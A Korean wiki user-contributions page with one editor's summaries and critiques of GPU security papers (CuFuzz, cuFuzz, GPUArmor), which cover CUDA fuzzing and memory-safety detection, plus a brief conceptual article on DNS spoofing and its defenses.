noriwiki - 사용자 기여 [ko]

CuFuzz: Hardening CUDA Programs through Transformation and Fuzzing

2026-07-27T11:00:12Z

Ahn9807: 새 문서: {{Paper |title=CuFuzz: Hardening CUDA Programs through Transformation and Fuzzing |author=Saurabh Singh, Ruobing Han, Jaewon Lee, Seonjin Na, Yonghae Kim, Taesoo Kim, Hyesoon Kim |conference=arXiv:2601.01048v1 [cs.CR] |year=2026 }} == 개요 == 이 논문은 CUDA 프로그램이 GPU의 대규모 병렬 실행, 복잡한 메모리 계층, 부정확한 오류 보고 때문에 기존 CPU용 Fuzzing 도구의 혜택을 받기 어려운 문제를 다루며, GPU 코드를...

{{Paper
|title=CuFuzz: Hardening CUDA Programs through Transformation and Fuzzing
|author=Saurabh Singh, Ruobing Han, Jaewon Lee, Seonjin Na, Yonghae Kim, Taesoo Kim, Hyesoon Kim
|conference=arXiv:2601.01048v1 [cs.CR]
|year=2026
}}

== 개요 ==
이 논문은 [[CUDA]] 프로그램이 [[GPU]]의 대규모 병렬 실행, 복잡한 메모리 계층, 부정확한 오류 보고 때문에 기존 CPU용 [[Fuzzing]] 도구의 혜택을 받기 어려운 문제를 다루며, GPU 코드를 CPU 코드로 변환하되 보안 버그와 관련된 메모리 접근을 보존하여 [[AFL++]]와 [[AddressSanitizer]]를 재사용하는 compiler-runtime co-design 도구 ''CuFuzz''를 제안하였다.

== Background ==
CUDA는 C/C++의 저수준 제어와 성능을 계승하지만 [[Buffer overflow]], [[Out-of-bounds access]], [[Use-after-free]] 같은 메모리 안전성 문제도 함께 계승한다. GPU에서는 global, local, shared memory가 서로 다른 수명과 가시성을 가지며, 수천 개의 thread가 [[SPMD]] 방식으로 실행된다. 또한 CPU의 segmentation fault와 같은 precise exception이 부족하여 잘못된 접근이 즉시 crash나 정확한 오류로 이어지지 않을 수 있다.

== Motivation ==
[[Coverage-guided fuzzing]]은 CPU 생태계에서 AFL++, AddressSanitizer와 결합해 대량의 입력을 실행하고 crash를 정확한 피드백으로 사용할 수 있다. 반면 GPU는 다음 이유로 같은 방법을 직접 적용하기 어렵다.

# 대규모 thread/block hierarchy를 그대로 CPU에서 실행하면 한 입력의 실행 비용이 매우 커진다.
# global, local, shared memory와 CUDA 전용 API를 CPU의 메모리·실행 모델에 대응시켜야 한다.
# GPU의 오류 검출과 보고는 CPU보다 제한적이어서 fuzzing의 핵심 피드백인 crash를 놓칠 수 있다.
# 전용 GPU fuzzing infrastructure를 새로 구축하면 기존 CPU fuzzer, sanitizer, 서버 자원을 재사용하기 어렵다.

따라서 GPU의 수치 출력을 완전히 재현하는 범용 migration보다, 메모리 버그를 드러내는 접근 행동을 보존하면서 높은 exec/sec를 얻는 fuzzing 전용 변환이 필요하다.

== Importance ==
이 논문의 중요한 전환은 GPU-native detector를 새로 설계하는 대신, CUDA kernel의 bug-relevant behavior를 CPU 실행으로 옮겨 성숙한 CPU fuzzing·sanitizer 생태계를 활용한다는 점이다. 특히 fuzzing에는 완전한 numerical equivalence가 아니라 메모리 버그 보존이 핵심이라는 관찰을 optimization boundary로 삼는다.

또한 저자들은 global/local/shared memory의 spatial·temporal 오류를 분류한 100개 test의 ''GMSBench''를 제시한다. 이 분류와 도구별 coverage 비교는 CuFuzz 자체뿐 아니라 향후 GPU memory-safety detector를 비교하는 evaluation framework로도 재사용할 수 있다.

== Main Idea ==
핵심 아이디어는 CUDA host/kernel code를 [[LLVM IR]] 수준에서 CPU-executable program으로 변환하고, 원래 GPU program의 메모리 공간과 접근을 CPU의 heap/stack 접근으로 대응시킨 뒤 AFL++와 CPU memory-error detector로 실행하는 것이다. 이때 kernel의 수치 결과까지 동일하게 유지하는 대신, memory access instruction과 그 index에 영향을 주는 계산을 보존하는 것을 fuzzing correctness의 기준으로 삼는다.

변환만으로는 GPU의 수많은 thread를 CPU loop로 실행하는 비용이 너무 크다. CuFuzz는 affine access kernel에서 경계 thread/block만 우선 실행하는 ''Partial Representative Execution (PREX)''과, memory-access index에 영향을 주지 않는 계산과 barrier를 제거하는 ''Access-Index Preserving Pruning (AXIPrune)''으로 throughput을 높인다.

== Design ==
# '''cuf-cc compilation pipeline'''
#* ''Local problem'': CUDA executable은 CPU에서 실행되는 host code와 GPU용 NVVM IR로 내려가는 kernel code를 함께 포함하므로 일반 CPU fuzzer가 kernel을 직접 instrument할 수 없다.
#* ''Mechanism'': nvcc/clang의 drop-in replacement인 cuf-cc가 host-side LLVM IR와 kernel-side NVVM IR를 분리한 뒤 둘 다 x86_64 LLVM IR로 변환한다. Kernel function에는 AddressSanitizer annotation을 추가하고 AFL++의 branch-coverage instrumentation을 적용한다.
#* ''Effect and tradeoff'': 기존 CPU fuzzing toolchain을 재사용할 수 있지만, 검출 가능한 버그의 범위는 선택한 CPU detector와 변환이 보존하는 semantics에 의존한다.
# '''PREX-Aware Collapsing Transform (PACT)'''
#* ''Local problem'': GPU의 gridSize × blockSize thread를 CPU thread로 일대일 대응시키면 실행 비용이 지나치게 크다.
#* ''Mechanism'': GPU block 하나를 CPU thread 하나에 매핑하고, block 내부 GPU thread는 loop iteration으로 직렬화한다. <code>__syncthreads()</code> 전후는 별도 loop로 분할하며, barrier를 가로질러 살아 있는 local variable은 array로 확장한다. GPU global memory는 CPU heap으로, shared/local memory는 CPU stack으로 대응시킨다.
#* ''Invariant and tradeoff'': 각 phase의 memory ordering과 memory-space별 overflow의 가시성을 보존하지만, GPU의 병렬 interleaving보다 더 강한 순서를 도입하고 barrier마다 loop와 array overhead가 생긴다.
# '''Partial Representative Execution (PREX)'''
#* ''Local problem'': 변환 후에도 모든 block과 thread를 매 입력마다 실행하면 fuzzing throughput이 낮다.
#* ''Mechanism'': compiler의 ''Affine Access Analysis''가 memory index를 thread/block index의 affine function으로 표현할 수 있는지 판정한다. 조건문 밖의 affine access에 대해서는 첫/마지막 block의 첫/마지막 thread가 경계 OOB를 대표한다는 성질을 이용한다. 조건문이 있는 경우 runtime coverage monitor가 바깥쪽 block부터 점진적으로 추가하며 memory-access coverage가 완료되면 중단한다.
#* ''Invariant and tradeoff'': affine-access kernel에서는 representative execution으로 작업량을 줄이고, non-affine kernel에서는 모든 block/thread 실행으로 fallback한다. 효율은 affine 판정과 coverage가 bug-relevant behavior를 충분히 대표한다는 가정에 달려 있다.
# '''Access-Index Preserving Pruning (AXIPrune)'''
#* ''Local problem'': expensive math와 barrier가 CPU 변환 뒤 많은 계산, loop, auxiliary memory access를 만들지만 상당수는 memory bug 발생 위치와 무관하다.
#* ''Mechanism'': data-dependence analysis로 branch condition이나 memory-access index에 영향을 주는 값을 추적한다. 관련 없는 math operation을 입력값 전달로 대체하고, shared-memory value가 branch/index에 영향을 주지 않으면 barrier를 제거한다.
#* ''Invariant and tradeoff'': 원래 GPU program의 memory access와 index 관련 계산은 남기지만 numerical output equivalence는 의도적으로 포기한다. 따라서 일반 CUDA-to-CPU translator가 아니라 memory-bug fuzzing 전용 optimization이다.
# '''CuFuzz runtime'''
#* CUDA allocation/copy API의 CPU 구현과 thread pool을 제공하고, kernel launch를 번역된 function call로 바꾼다. Runtime library도 AddressSanitizer로 instrument한다. PREX mutator는 각 fuzzing iteration에서 실행할 block을 선택하고 coverage를 감시한다.

== Result ==
=== Error-detection coverage ===
저자들은 100개 test로 구성된 GMSBench에서 native CUDA와 여러 GPU/CPU detector의 검출 범위를 비교한다.

{| class="wikitable"
! 실행/검출 조합
! 검출 수
! Coverage
! 해석
|-
| Native CUDA
| 8/100
| 8%
| 별도 보호가 없을 때 allocator가 보고하는 일부 temporal error에 한정된다.
|-
| NVIDIA Compute Sanitizer
| 36/100
| 36%
| tripwire 방식이므로 buffer 경계를 넘어도 다른 유효 영역에 머무는 arbitrary read/write 등을 놓친다.
|-
| CuFuzz + AddressSanitizer
| 48/100
| 48%
| host와 kernel을 함께 검사할 수 있고 intra-allocation 일부를 찾지만, tripwire와 allocator 차이의 한계가 있다.
|-
| CuFuzz + No-Fat
| 91/100
| 91%
| exact base/bounds에 가까운 검사를 통해 가장 높은 coverage를 보이지만 dynamic shared-memory와 일부 allocator-mismatch case는 남는다.
|}

이는 GPU-to-CPU translation 자체보다 뒤에 결합하는 detector가 최종 bug coverage를 크게 좌우함을 보여 준다. 논문의 주 fuzzing campaign은 coverage가 더 높은 No-Fat이 아니라 AddressSanitizer를 사용했다.

=== Fuzzing campaign ===

HeteroMark, Rodinia, CUDA SDK에서 고른 14개 benchmark를 각각 12시간 동안 AFL++로 fuzzing했다. 각 benchmark에는 별도 fine-tuning 없이 seed file 하나를 주었고, AFLTriage로 결과를 deduplicate하였다. CuFuzz + AddressSanitizer는 총 '''122개 finding'''을 보고했으며 구성은 kernel crash 15개, host crash 40개, hang 67개이다.

Kernel에서는 matmul, bfs, cfd, lud의 global-memory OOB read/write를, host에서는 aes, ga, pr, bfs의 heap-buffer overflow를 찾았다. cfd의 null-pointer dereference, ga와 ep에서 <code>memcpy()</code>에 null pointer가 전달되는 경우, 여러 benchmark의 invalid allocation·integer overflow·argument-parser exception도 보고했다. 또한 malformed input의 0 값이 task-count 계산에서 division-by-zero를 일으키는 CuFuzz runtime 자체의 bug도 발견했다. 이 결과는 변환된 실행이 host와 kernel 양쪽의 crash/hang triage에 실용적인 피드백을 줄 수 있음을 보이지만, 122개 모두가 독립적으로 검증된 보안 취약점이라는 뜻은 아니다.

=== Throughput ===

100회 실행의 평균 exec/sec로 측정했을 때 PREX는 naïve translated baseline 대비 14개 중 12개 benchmark에서 성능을 높였고 평균 약 '''32×''', affine access가 크고 thread 수가 많은 workload에서 최대 '''183×''' 향상을 보였다. pr과 bfs는 indirect access 때문에 non-affine으로 판정되어 partial execution의 이득이 없었다.

PREX 적용 코드 위에서 AXIPrune은 평균 '''33%'''의 추가 throughput 향상을 냈다. 예를 들어 ep에서는 memory index와 무관한 exponential function 제거로 27% 향상되며, hist에서는 index와 무관한 barrier 및 변환이 만든 보조 접근을 줄인다. 두 optimization을 합친 최대 speedup은 naïve translation 대비 '''224.31×'''이다. 즉 PREX는 실행할 GPU thread/block 수를 줄이고 AXIPrune은 각 representative execution의 불필요한 instruction을 줄여 서로 다른 병목을 완화한다.

== Contribution ==

# CUDA program을 CPU-executable LLVM IR로 변환하고 AFL++·CPU memory detector와 연결하는 end-to-end compiler-runtime co-design fuzzing framework를 제안하였다.
# Affine memory-access pattern을 이용해 representative block/thread를 선택하는 PREX와 access-index dependency를 보존하며 불필요한 연산을 제거하는 AXIPrune을 제안하였다.
# GPU global/local/shared memory의 spatial·temporal bug를 체계화한 100-test GMSBench와 detector coverage 비교를 제공하였다.
# 14개 CUDA benchmark의 12시간 campaign에서 122개 deduplicated crash/hang finding을 얻고, naïve translation 대비 평균 약 32× 및 최대 224.31×의 throughput 향상을 보였다.

== Related Work Position ==

CuFuzz는 [[AFL++]], [[AddressSanitizer]], libFuzzer 같은 CPU fuzzing infrastructure를 GPU program에 연결한다는 점에서 CPU-only fuzzer와 다르다. 기존 OpenCL kernel test generation은 mutation과 selective constraint solving을 결합했지만, CuFuzz는 CUDA 전체 program의 host/kernel translation과 sanitizer integration을 목표로 한다.

GPU memory-safety 측면에서 [[NVIDIA Compute Sanitizer]], [[GPUShield]], CuCatch, GMOD는 GPU에서 직접 오류를 검출하거나 bounds protection을 제공한다. CuFuzz는 방어 메커니즘을 GPU에 배치하기보다 실행을 CPU로 옮겨 여러 CPU detector를 교체해 사용할 수 있게 한다. [[CuPBoP]]과 같은 GPU-to-CPU migration tool은 numerical correctness를 우선하지만, CuFuzz는 debugging symbol, fuzzing instrumentation, bug-oriented partial execution/pruning에 초점을 둔다.

== Criticisms ==

# '''변환이 보존하는 버그의 범위''': PACT는 block 내부 thread를 loop로 직렬화하고 CPU heap/stack 및 allocator semantics를 사용한다. 따라서 data race, warp scheduling, weak memory ordering, asynchronous API behavior, GPU hardware/driver 고유 오류처럼 concurrency나 device semantics에 의존하는 취약점은 제거되거나 새롭게 생길 수 있다. 논문은 주로 memory-access safety를 다루며 이러한 bug class에 대한 preservation을 실험하지 않는다.
# '''PREX·AXIPrune의 가정''': PREX의 강한 대표성 정리는 affine index와 조건문 밖의 access를 전제로 하고, 조건문은 runtime coverage로 완화한다. 그러나 memory-access instruction coverage가 모든 동적 index/state interaction을 대표하는지, AXIPrune의 dependency analysis가 pointer aliasing이나 복잡한 shared-memory dataflow에서도 bug-triggering behavior를 항상 보존하는지는 더 강한 검증이 필요하다.
# '''제한된 campaign''': 평가는 세 benchmark suite의 14개 program, benchmark당 12시간, 한 hardware/software configuration에 한정된다. Production CUDA application, 반복 trial, variance, time-to-first-bug, coverage growth curve가 없어 대규모 실제 서비스에 대한 일반화와 fuzzing 효율의 통계적 안정성을 판단하기 어렵다.
# '''Finding과 vulnerability의 구분''': 122개 finding에는 67개 hang과 malformed-input에 의한 allocation failure, exception, runtime bug가 포함된다. Patch, maintainer confirmation, exploitability analysis, CVE assignment가 제시되지 않으므로 이를 122개의 독립적·확정된 security vulnerability로 해석해서는 안 된다.
# '''Detector 및 baseline 비교''': GMSBench에서 CuFuzz + AddressSanitizer coverage는 48%이고 CuFuzz + No-Fat은 91%이지만 실제 fuzzing campaign은 AddressSanitizer만 사용한다. 또한 GMOD, GPUShield, CuCatch, No-Fat의 일부 결과는 구현을 직접 실행한 것이 아니라 해당 논문의 설명을 바탕으로 추정했다. Performance baseline도 naïve CPU translation이므로 native GPU tool이나 다른 end-to-end GPU testing system과의 bug-finding cost 비교가 부족하다.
# '''재현성''': 논문은 GMSBench를 공개할 예정이라고 표현하지만, 제공된 preprint만으로는 artifact availability, source revision, 전체 실행 script를 확인할 수 없다.

== Conclusion ==

이 연구는 CUDA fuzzing을 GPU-native 오류 보고의 문제로만 보지 않고, bug-relevant memory behavior를 CPU로 옮겨 성숙한 fuzzing·sanitizer infrastructure를 재사용하는 문제로 재구성한다. CuFuzz는 PACT, PREX, AXIPrune을 통해 이 변환의 실행 비용을 크게 줄이고 benchmark campaign에서 host/kernel crash와 hang을 실제로 수집할 수 있음을 보였다. 향후 GPU fuzzing 연구에서 기억할 핵심은 numerical equivalence보다 어떤 bug semantics를 보존할 것인지 명시하고, 그 보존 범위와 detector coverage를 함께 평가해야 한다는 점이다.

[[분류: GPU Security]]

DNS Spoofing

2026-07-15T03:20:44Z

Ahn9807:

[[분류:네트워크 보안]]

== 개요 ==
DNS 스푸핑, DNS Cache poisioning, 혹은 DNS Filtering(보통 긍정적 의미로 사용됨)은 변조된 [[DNS]]데이터가 DNS Cache에 주입되어서 [[Name server]]에 대한 쿼리 결과가 잘못된 결과 레코드를 반환하는 컴퓨터 해킹 방법이다. DNS Spoofing을 사용하면, 모든 트래픽이 공격자의 컴퓨터로 전환되어서 전송시킬 수 있다.

== Attack ==
DNS는 사람이 읽을 수 있는 [[Domain]]을 서버의 [[IP]]주소로 변환시킨다. 컴퓨터는 이러한 번역을 속도를 위해서 캐싱하고 있다. 그러나 DNS서버가 잘봇된 변환을 수신하고 이를 캐시하면, 컴퓨터는 잘못된 IP로 접속하게 되어서, 트래픽을 다른 컴퓨터로 전환할 수 있다. DNS는 [[UDP]]위에서 포호받지 않고 전송되기 때문에, 이러한 공격에 취약하다.

DNS공격을 박기 위해서 보안 DNS (DNSSEC)은 공개 키 인증방식을 통해서 암호화된 서명을 사용해 데이터의 진위 여부를 판별하지만, DNSSEC을 지원하지 않는 일반 DNS가 현재 많이 사용되고 있다. 또한 [[HTTPS]]와 같은 End-to-end 검증을 수행하면, 이러한 공격을 확인하고 예방할 수 있다.

== 예시 ==
중국의 Greate fire wall은 잘못된 콘텐츠들을 예방?하기 위한 방법중 하나로, DNS Filtering을 사용한다. 중국의 DNS서버가 타국의 DNS서버보다 일반적으로 빨리 DNS Request를 날리기 때문에, 중국의 특정 도메인들은 DNS Filtering을 통해서 필터되는 경우가 있다.

DNS Spoofing

2026-07-15T03:20:34Z

Ahn9807:

[[index.php?title=분류:네트워크 보안]]

== 개요 ==
DNS 스푸핑, DNS Cache poisioning, 혹은 DNS Filtering(보통 긍정적 의미로 사용됨)은 변조된 [[DNS]]데이터가 DNS Cache에 주입되어서 [[Name server]]에 대한 쿼리 결과가 잘못된 결과 레코드를 반환하는 컴퓨터 해킹 방법이다. DNS Spoofing을 사용하면, 모든 트래픽이 공격자의 컴퓨터로 전환되어서 전송시킬 수 있다.

== Attack ==
DNS는 사람이 읽을 수 있는 [[Domain]]을 서버의 [[IP]]주소로 변환시킨다. 컴퓨터는 이러한 번역을 속도를 위해서 캐싱하고 있다. 그러나 DNS서버가 잘봇된 변환을 수신하고 이를 캐시하면, 컴퓨터는 잘못된 IP로 접속하게 되어서, 트래픽을 다른 컴퓨터로 전환할 수 있다. DNS는 [[UDP]]위에서 포호받지 않고 전송되기 때문에, 이러한 공격에 취약하다.

DNS공격을 박기 위해서 보안 DNS (DNSSEC)은 공개 키 인증방식을 통해서 암호화된 서명을 사용해 데이터의 진위 여부를 판별하지만, DNSSEC을 지원하지 않는 일반 DNS가 현재 많이 사용되고 있다. 또한 [[HTTPS]]와 같은 End-to-end 검증을 수행하면, 이러한 공격을 확인하고 예방할 수 있다.

== 예시 ==
중국의 Greate fire wall은 잘못된 콘텐츠들을 예방?하기 위한 방법중 하나로, DNS Filtering을 사용한다. 중국의 DNS서버가 타국의 DNS서버보다 일반적으로 빨리 DNS Request를 날리기 때문에, 중국의 특정 도메인들은 DNS Filtering을 통해서 필터되는 경우가 있다.

Hunting CUDA Bugs at Scale with cuFuzz

2026-07-13T07:14:10Z

Ahn9807:

{{Paper
|title=Hunting CUDA Bugs at Scale with cuFuzz
|author=Mohamed Tarek Ibn Ziad, Christos Kozyrakis
|conference=OOPSLA1
|year=2026
}}

== 개요 ==
이 논문은 [[CUDA]] 프로그램에서 [[Coverage-guided fuzzing]]이 왜 기존 CPU fuzzing 방식처럼 잘 작동하지 않는지를 분석하고, whole-program fuzzing, device-side coverage, sanitizer 분리를 결합한 [[cuFuzz]]로 실제 [[GPU]] 메모리 안전성 및 동시성 버그를 찾을 수 있음을 보인다.

== Motivation ==
GPU는 image processing, machine learning, LLM, HPC 등에서 핵심 실행 장치가 되었지만, CUDA 프로그램은 CPU host code와 GPU device kernel이 함께 동작하는 heterogeneous execution model을 가진다. 이 구조에서는 입력 파싱, host-side validation, CUDA API error handling, device kernel launch, GPU memory access가 서로 얽혀 버그가 발생한다. 이러한 구조에서 기존의 Fuzzer를 그대로 적용시키는 것은 여러 문제가 있어서 Practical하지 못하다.

== Importance ==
기존의 Fuzzer를 그대로 GPU Kernel fuzzing에 적용시키면 다음과 같은 문제가 발생한다.

;Kernel-level versus whole-program fuzzing:
: kernel-level fuzzing은 개별 GPU kernel 인자를 독립적으로 변형하므로 host code가 보장하는 invariant를 깨뜨린다. 그 결과 실제 full program에서는 불가능한 오류를 보고하거나, 반대로 host-device interaction에서 생기는 오류를 놓친다.

; Lack of device-side coverage
: Device-side coverage: CUDA host code와 device code는 compilation path와 execution model이 다르다. host coverage만 쓰면 GPU 내부 branch를 feedback으로 사용할 수 없고, closed-source library는 source-level instrumentation을 적용할 수 없다.

; Incompatibility between different fuzzing compoenents:
: Tool incompatibility: [[AddressSanitizer]]는 host-side memory bug에 강하지만 device memory bug를 보지 못한다. 반대로 Compute Sanitizer는 device-side bug를 잘 잡지만 NVBit, cuda-gdb 등 다른 GPU instrumentation tool과 같은 process에서 충돌한다.

; Throughput
: CUDA runtime initialization, GPU context setup, dynamic binary instrumentation, device sanitizer 실행은 fuzzing iteration cost를 크게 만든다. GPU fuzzing은 CPU fuzzing보다 input/sec가 낮아 coverage와 sanitizer를 무작정 모두 켜기 어렵다.

== Main Idea ==
핵심 아이디어는 CUDA bug를 개별 kernel의 local property가 아니라 whole program execution에서 나타나는 host-device interaction의 결과로 보고, fuzzer feedback과 error checking을 이 전체 실행 경로에 맞게 재구성하는 것이다.

cuFuzz는 application main function이나 library sample program을 fuzzing harness로 삼아 실제 host-side invariant를 보존한다. 동시에 [[NVBit]]로 device binary를 runtime instrumentation하여 GPU edge coverage를 수집하고, 이를 AFL++ host coverage bitmap과 합친다. sanitizer는 coverage collection process와 분리하여 별도 process에서 실행함으로써 도구 충돌을 피한다.

== Design ==
[[파일:OOPSLA 2026 cufuzz figure 1.png|700px|섬네일|가운데]]
; Whole-program harness
: cuFuzz는 개별 kernel wrapper가 아니라 CUDA application의 main function 또는 CUDALibrarySamples의 library example을 fuzzing harness로 사용한다.

; Host+device coverage integration
: Host-side coverage는 AFL++ compile-time instrumentation을 그대로 사용한다. Device-side coverage는 NVBit로 kernel load 시점에 device instruction을 patch하여 basic block edge를 추적한다.

; Concurrent coverage update
: GPU에서는 수천 개 thread가 같은 coverage entry를 동시에 갱신할 수 있으므로, Single-thread나 적은 concurrent로도 만족하였던 CPU-side fuzzer와 비교하여 훨씬 큰 동시성 최적화를 요구한다. 이를 해결하기 위해서, 1) cuFuzz는 warp-aware atomic update를 사용하였다. 2) AFL++의 edge hit count bucket과 유사하게 device-side에서는 thread count를 coarse bucket으로 압축하여 input이 새 GPU execution behavior를 만들었는지 판단하였다. 3) cuFuzz는 64KB AFL++ coverage bitmap을 host/device 각각 32KB 영역으로 나누어 collision을 줄였다. 4) device edge는 bitmap 후반부에 기록하였다.

; Decoupled coverage collection & sanitization
: NVbit은 coverage collection과 compute sanitizer에서 동시에 활용된다. 따라서 coverage collection과 sanitizer를 동시에 수행할 수 없다. 이를 해결하기 위해서, cuFuzz는 coverage collection process와 sanitizer process를 분리하여 따로 수행하였다. 기본 fuzzing run은 host/device coverage를 수집하고, interesting input은 sanitizer-enabled program으로 전달되도록 하였다. 이 구조는 process 수를 늘려 overhead를 만드는 한계가 있다. 논문은 SAND에서 영감을 받은 selective sanitization을 사용해 모든 input이 아니라 unique execution path를 만드는 input subset에 sanitizer를 적용시킴으로서 본 한계를 극복하였다고 주장하였다.

; Decoupled host-cpu sanitization
: Host-side bug는 AddressSanitizer로, device-side illegal access, race, uninitialized read는 Compute Sanitizer의 memcheck, racecheck, initcheck로 검사하였다.

; Implementations
: AFL++ 기본 실행은 input 하나마다 process를 새로 띄우므로 CUDA runtime initialization cost가 크다. cuFuzz는 AFL++ persistent mode를 지원하여 한 process가 여러 input을 loop 안에서 처리하도록 한다. 또한, Device-side coverage를 input별로 분리하기 위해 harness는 persistent loop의 시작과 끝에 빈 cufuzz전용 kernel을 호출하도록 하였다. NVBit tool은 이 kernel launch를 intercept하여 iteration 시작과 끝을 파악할 수 있어, 시작할때는 device bitmap을 reset하고, 끝날 때에는 host bitmap과 merge하였다. 또한, 별도 sanitizer process가 input을 읽을 수 있도록 persistent loop 안에서 mutated buffer를 file로 기록하였다.

== Result ==
; Bug finding
: cuFuzz는 43개의 previously unknown bug를 발견했다. 이 중 19개는 commercial library에서 발견되었고, 논문 작성 시점에 40개는 maintainer가 fixed 상태로 처리했다. bug type은 host heap buffer overflow 8개, host stack buffer overflow 1개, floating-point exception 2개, segmentation fault 2개, device out-of-bounds access 13개, shared memory data race 5개, uninitialized device read 12개다.
: 이 결과는 decoupled sanitization의 필요성을 직접 보여준다. AFL++와 cuFuzz-noSanitizer는 각각 11개와 9개 bug만 찾았고 주로 host-side crash에 제한되었다. Device-side sanitization을 켠 cuFuzz-noDeviceCoverage는 30개를 찾았다. 기본 cuFuzz simple-trace 전략은 36/43개, 즉 83%를 찾았다.

; Coverage
: Device-side coverage는 closed-source library에서 특히 중요했다. cuFuzz는 closed-source benchmark에서 cuFuzz-noDeviceCoverage보다 device-side edge를 더 많이 발견했고, improvement는 nvTIFF의 9%부터 blas-gemm의 289%까지 나타났다. 반면 open-source benchmark에서는 host-side instrumentation만으로도 device execution이 충분히 guide되는 경우가 많아 AFL++가 더 빠르게 같은 coverage에 도달하거나 더 높은 coverage를 보이기도 했다.
: 이 결과는 device-side coverage가 항상 무료 benefit은 아니며, source를 recompile할 수 있는 단순 benchmark와 closed-source production library 사이에서 가치가 달라진다는 점을 보여준다.

; Performance
: 전체 input 기준으로 NVBit device-side coverage는 throughput을 평균 55% 낮췄고, Compute Sanitizer의 memcheck와 racecheck는 각각 71%, 82% 낮췄다. 실제 device kernel을 실행하는 input만 보면 NVBit overhead는 67%로 측정되었고, device-side sanitizer overhead는 memcheck 39%, racecheck 66%, initcheck 32%로 요약된다.
: Host-side coverage와 AddressSanitizer의 overhead는 상대적으로 작았다. 따라서 cuFuzz의 주 병목은 host instrumentation이 아니라 device binary instrumentation과 device sanitizer initialization/runtime cost이다.

; Persistent mode
: cuFuzz-persistent는 14개 program 중 7개에서 regular cuFuzz보다 높은 edge coverage를 얻었고, 4개에서는 같은 coverage를 얻었다. 즉 11/14개 workload에서 equal-or-better coverage를 보였다. 다만 seam-carving, urng, nvTIFF에서는 loop 내부 reinitialization이나 매우 짧은 kernel execution 때문에 persistent mode benefit이 사라졌다.
: Bug finding 측면에서 persistent mode는 35/43개 bug를 찾았고, 16개 bug에 대해서는 모든 configuration 중 가장 짧은 time to exposure를 보였다. 이는 CUDA runtime initialization cost가 GPU fuzzing throughput의 중요한 병목임을 뒷받침한다.

; Kernel-level fuzzing comparison
: 논문은 9개 open-source benchmark의 22개 kernel에 대해 kernel-level harness를 별도로 만들고 cuFuzz와 비교했다. Kernel-level fuzzing은 적용 가능한 14개 device-side bug 중 6개만 찾았다. 나머지 8개는 host-side file parsing, allocation failure handling, host-device interface mismatch 같은 whole-program context가 필요해 놓쳤다.
: 더 중요한 차이는 false positive다. Kernel-level fuzzing은 host-enforced invariant를 깨뜨려 16개의 false positive를 만들었다. 반면 cuFuzz whole-program approach는 14개 device-side bug와 10개 host-side bug를 찾으면서 false positive를 만들지 않았다.

== Contribution ==
# CUDA fuzzing에서 kernel-level fuzzing, host-only coverage, sanitizer incompatibility가 왜 실제 bug finding을 방해하는지 체계적으로 정리했다.
# Whole-program CUDA fuzzing과 host+device edge coverage를 결합하여 왜 Host-GPU를 동시에보는 방향이 중요한지를 실험으로 실증하였다.
# 14개 CUDA program/library에서 43개 previously unknown bug를 발견하고, coverage, throughput, persistent mode, sanitization strategy, kernel-level fuzzing 대비 효과를 정량적으로 평가했다.

== Review ==
=== Major ===
# Throughput 제약은 여전히 커보인다. 논문은 persistent mode와 selective sanitization으로 완화하지만, GPU fuzzing은 CPU fuzzing처럼 많은 input/sec를 얻기 어렵다.
# Coverage result는 configuration별 세 번의 24시간 run 중 best result를 보고한다. 모든 configuration에 같은 규칙을 적용했으므로 비교 자체는 일관적이지만, typical run behavior나 variance를 이해하려면 median, spread, failed run 분석이 더 있으면 좋다.

== Conclusion ==
이 연구는 CUDA bug finding을 device kernel 단위의 isolated testing이 아니라 host-device whole-program execution을 보존해야 하는 coverage-guided fuzzing 문제로 바라보게 만든다. cuFuzz는 whole-program harness, NVBit 기반 device-side coverage, decoupled sanitization, persistent mode를 결합하여 closed-source production CUDA library에서도 실제 bug를 찾을 수 있음을 보였다.

[[분류: ACM OOPSLA]]

파일:OOPSLA 2026 cufuzz figure 1.png

2026-07-13T03:53:53Z

Ahn9807:

Fig. 1. cuFuzz high-level overview showing the integration of AFL++ with NVBit for device-side coverage and various sanitizers (e.g., Compute Sanitizer’s memcheck, racecheck, initcheck) for GPU error detection.

GPUArmor: A Hardware-Software Co-design for Efficient and Scalable Memory Safety on GPUs

2026-07-09T12:51:44Z

Ahn9807:

{{Paper
|title=GPUArmor: A Hardware-Software Co-design for Efficient and Scalable Memory Safety on GPUs
|author=Mohamed Tarek Ibn Ziad, Sana Damani, Mark Stephenson, Stephen W. Keckler, Aamer Jaleel
|conference=ACM TACO
|year=2025
}}

== 개요 ==
이 논문은 [[GPU]]에서 [[Memory safety]] 검사를 할 때 metadata lookup을 빠르게 만들기 위해 큰 direct-addressing table을 써야 한다는 가정을, GPU workload의 allocation working set이 작다는 관찰을 통해서 작은 hardware metadata cache로 해결하였다.

== Motivation ==
기존 CPU sanitizer 방식의 핵심 비용은 runtime metadata lookup이다. [[AddressSanitizer]]는 8 byte application memory마다 1 byte shadow memory를 두어 O(1) lookup을 얻지만 12.5% memory bloat를 낸다. GPU 쪽에서도 [[GPUShield]]와 [[cuCatch]]가 direct-addressing table류의 구조를 사용하지만, GPUShield는 57-bit address space에서 upper pointer bit를 index로 쓰는 설계 때문에 128 live allocation 수준에서 scalability 한계가 있고 temporal safety도 약하다. cuCatch는 더 scalable하지만 12.5% metadata storage overhead와 non-trivial runtime overhead가 남는다.

GPUArmor의 출발점은 GPU에서는 CPU와 같은 cost model이 성립하지 않을 수 있다는 점이다. 논문은 real-world GPU kernel 28개를 분석하여 global memory access가 전체 dynamic instruction의 평균 6% 정도이고, shared memory도 평균 6% 정도이며, local memory access는 관측되지 않았다고 보고한다. GPU는 warp scheduling으로 long-latency memory operation을 숨기는 데 강하고, allocation size는 대체로 크지만 active allocation working set은 작다. 따라서 metadata lookup을 매 access마다 절대적으로 O(1)로 만들기보다, 작은 cache로 대부분의 lookup을 처리하고 compact metadata structure를 쓰는 쪽이 GPU에 더 맞을 수 있다.

== Main Idea ==
=== Observations ===
본 연구는 다음과 같은 특징을 고려해야 효율적인 Sanitizer를 디자인 할 수 있다고 주장한다.
# GPU의 메모리 접근은 CPU보다 Pressure가 낮으며, Local memory (stack 할당)은 거의 없는 수준이다. 또한 Global memory access가 Shared memory access보다 작다.
# GPU의 워크로드들은 대부분 병령 처리 되기 떄문에 Memory access checking의 Latency가 크더라도 Hiding된다.
# GPU의 메모리 크기는 보통 CPU보다 작다. (HMM은 제외하였을 경우)
# GPU의 Allocation size는 대부분 크다. 예를 들어서 CUDA Memory allocation은 적어도 256B의 정렬을 요구한다.
